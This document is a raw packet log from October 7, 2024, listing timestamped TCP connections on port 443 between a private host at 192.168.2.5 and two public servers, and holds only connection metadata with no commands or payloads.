Oct 7, 2024 21:53:22.273806095 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.273916960 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.273931980 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.286700964 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.286843061 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.286900043 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.286998034 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.287008047 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.287036896 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.287044048 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.289628983 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.289653063 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.289767027 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.289880037 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.289896011 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.588077068 CEST	443	49892	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.588567972 CEST	49892	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.588614941 CEST	443	49892	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.589137077 CEST	49892	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.589168072 CEST	443	49892	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.708679914 CEST	443	49892	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.708704948 CEST	443	49892	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.708755016 CEST	443	49892	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.708853006 CEST	49892	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.708853006 CEST	49892	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.709042072 CEST	49892	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.709067106 CEST	443	49892	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.709094048 CEST	49892	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.709103107 CEST	443	49892	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.711702108 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.711725950 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.712013006 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.712183952 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.712196112 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.830641031 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.831132889 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.831149101 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.831585884 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.831592083 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.884083986 CEST	443	49724	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:22.884301901 CEST	443	49724	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:22.884747982 CEST	49724	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:22.884824991 CEST	49724	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:22.884844065 CEST	443	49724	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:22.884855986 CEST	49724	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:22.884862900 CEST	443	49724	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:22.886140108 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.886590958 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.886615038 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.887149096 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.887155056 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.887671947 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.888009071 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.888027906 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.888416052 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.888420105 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.931113958 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.931296110 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.931420088 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.931740046 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.931755066 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.931787968 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.931793928 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.935017109 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.935050964 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.935106993 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.935395956 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.935408115 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.941189051 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.941663027 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.941682100 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.942094088 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.942100048 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.942408085 CEST	49902	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:22.942452908 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:22.942506075 CEST	49902	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:22.942656040 CEST	49902	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:22.942671061 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:22.984088898 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.984697104 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.984755993 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.984819889 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.984838009 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.984848976 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.984853983 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.987763882 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.987797022 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.988045931 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.988387108 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.988400936 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.995368958 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.995584011 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.995631933 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.995656967 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.995661020 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.995668888 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.995672941 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.997603893 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.997622013 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:22.997740030 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.997859001 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:22.997872114 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.043344975 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.043819904 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.043885946 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.043915987 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.043932915 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.043946028 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.043952942 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.046415091 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.046446085 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.046570063 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.046720028 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.046736956 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.334795952 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.335432053 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.335453987 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.335912943 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.335917950 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.432313919 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.432852983 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.432914019 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.433017015 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.433032036 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.433046103 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.433052063 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.435749054 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.435810089 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.435872078 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.436024904 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.436042070 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.572200060 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.572793961 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.572829008 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.573312998 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.573321104 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.615991116 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.616414070 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.616436958 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.616863966 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.616871119 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.644483089 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.644953012 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.644982100 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.645400047 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.645407915 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.669805050 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.670186996 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.670198917 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.670614004 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.670619965 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.707580090 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.707669020 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.707751989 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.707947969 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.707990885 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.708029985 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.708046913 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.710619926 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.710656881 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.710736036 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.710870981 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.710887909 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.710995913 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:23.711669922 CEST	49902	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:23.711699963 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:23.712456942 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.712528944 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.712790012 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.712924957 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.712934971 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.712944984 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.712951899 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.717185020 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.717211008 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.717325926 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.717606068 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.717618942 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.721471071 CEST	49902	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:23.721478939 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:23.721698999 CEST	49902	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:23.721714973 CEST	443	49902	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:23.745266914 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.745341063 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.745399952 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.745559931 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.745578051 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.745620012 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.745626926 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.748521090 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.748547077 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.748688936 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.748862982 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.748877048 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.795439005 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.795507908 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.795613050 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.795674086 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.795716047 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.795733929 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.795744896 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.795749903 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.798115015 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.798150063 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:23.798255920 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.798676968 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:23.798691988 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.055495977 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.056063890 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.056109905 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.056427956 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.056435108 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.150564909 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.150952101 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.151016951 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.151119947 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.151139021 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.151149035 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.151154995 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.153563976 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.153589964 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.153856993 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.154045105 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.154056072 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.331758022 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.332530022 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.332554102 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.332997084 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.333003044 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.340483904 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.340878010 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.340913057 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.341352940 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.341357946 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.383966923 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.384344101 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.384366035 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.384761095 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.384768009 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.412137032 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.412604094 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.412621021 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.413486004 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.413491964 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.428450108 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.428761959 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.428821087 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.428828001 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.429022074 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.429022074 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.429022074 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.432037115 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.432075977 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.432146072 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.432486057 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.432503939 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.457603931 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.457667112 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.457727909 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.457906008 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.457918882 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.457928896 CEST	49908	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.457932949 CEST	443	49908	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.460331917 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.460349083 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.460445881 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.460571051 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.460582018 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.483370066 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.483469963 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.483588934 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.483752012 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.483752012 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.483768940 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.483778954 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.486757994 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.486768007 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.486841917 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.487059116 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.487067938 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.506136894 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.506282091 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.506872892 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.509742975 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.509742975 CEST	49910	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.509767056 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.509776115 CEST	443	49910	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.513150930 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.513191938 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.513251066 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.513422012 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.513439894 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.735768080 CEST	49907	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.735802889 CEST	443	49907	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.796408892 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.797427893 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.797437906 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.797957897 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.797961950 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.895163059 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.895200968 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.895251036 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.895298004 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.895351887 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.895659924 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.895677090 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.895688057 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.895694017 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.899312973 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.899365902 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:24.899451971 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.899667025 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:24.899679899 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.079869032 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.080331087 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.080360889 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.080765963 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.080775023 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.081197977 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.081568956 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.081589937 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.082048893 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.082056999 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.091309071 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.091751099 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.091773033 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.092233896 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.092241049 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.149343014 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.150537968 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.150580883 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:25.150963068 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:25.150971889 CEST	443	49915	13.107.246.64	192.168.2.5
